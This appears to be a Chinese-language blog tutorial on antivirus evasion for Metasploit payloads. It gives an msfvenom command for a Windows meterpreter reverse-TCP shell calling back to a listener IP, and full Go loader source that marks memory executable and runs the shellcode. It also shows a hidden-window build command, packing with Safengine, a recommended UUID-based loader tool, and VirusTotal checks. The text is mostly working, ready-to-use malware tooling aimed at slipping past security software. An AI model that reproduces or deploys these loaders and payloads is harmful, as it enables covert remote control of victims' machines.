一 简单实现
(1)msf生成shellcode,选择输出hex格式。 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.133.128 lport=4444 -f hex
(2)使用Go编写loader代码。
package main
import ( 'encoding/hex' 'fmt' 'os' 'syscall' 'unsafe' )
var procVirtualProtect = syscall.NewLazyDLL('kernel32.dll').NewProc('VirtualProtect') //syscall是调用函数 通过call NewLazyDLL来调取kernel32.dll(及其重要的链接库 几乎所有的木马都会调用这个函数)NewProc是指api NewProc('VirtualProtect')就是获取VirtualProtect这个函数的api //保护内存函数 去掉特征 func VirtualProtect(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) { //转换为同一类型的地址 uintptr,uint32 t, _, _ := procVirtualProtect.Call( uintptr(a), uintptr(b), uintptr(c), uintptr(d)) fmt.Print(t) } func Run(sc []byte) { //定义函数 f := func() {} var old uint32 //一级指针的值为f的地址 //unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))) 将&f转换为1级指针的地址 unsafe.Sizeof(uinpter(0))保护的参数为0 unint32(0x40)flNewProtect,内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行 VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&old)) //将shellcode 放入函数中 &sc为shellcode的地址 **(**uintptr)(unsafe.Pointer(&f))就是将shellcode的地址赋值给了&f的地址 **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc)) var orgshellcode uint32 //shellcode地址 VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&orgshellcode)) f() //这里调用f函数 f的地址通过**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))被更改为shellcode的地址 然后VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(&orgshellcode))保护了shellcode的内存地址 } func main() { //解密 x, _ := hex.DecodeString(os.Args[1]) Run(x) }
(3)编译exe。
go build -ldflags '-s -w -H=windowsgui' 1.go
(4)然后使用Safengine进行加壳。
(5)使用生成好的1_se.exe,加上shellcode,msf监听,主机成功上线。
(6)本机测试免杀效果。 二 工具推荐
工具地址:
https://github.com/crisprss/Shellcode_Memory_Loader
基于Golang实现的Shellcode内存加载器,共实现3种内存加载shellcode方式,UUID加载,MAC加载和IPv4加载 结合binject/universal实现Golang的内存加载DLL方式,使用AllocADsMem实现内存申请,以加强免杀效果 在这里演示UUID加载这一方法:
(1)msf生成shellcode,填充到shellcode_2_uuid.py。 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.133.128 lport=4444 -f py
(2)运行后得到转化的UUID,填充到对应的uuid_2_bin.go中: (3)编译得到对应的可执行文件即可。 (4)点击exe文件,主机成功上线。
(5)virustotal查杀结果。 三 参考文章
https://cloud.tencent.com/developer/article/1901720
|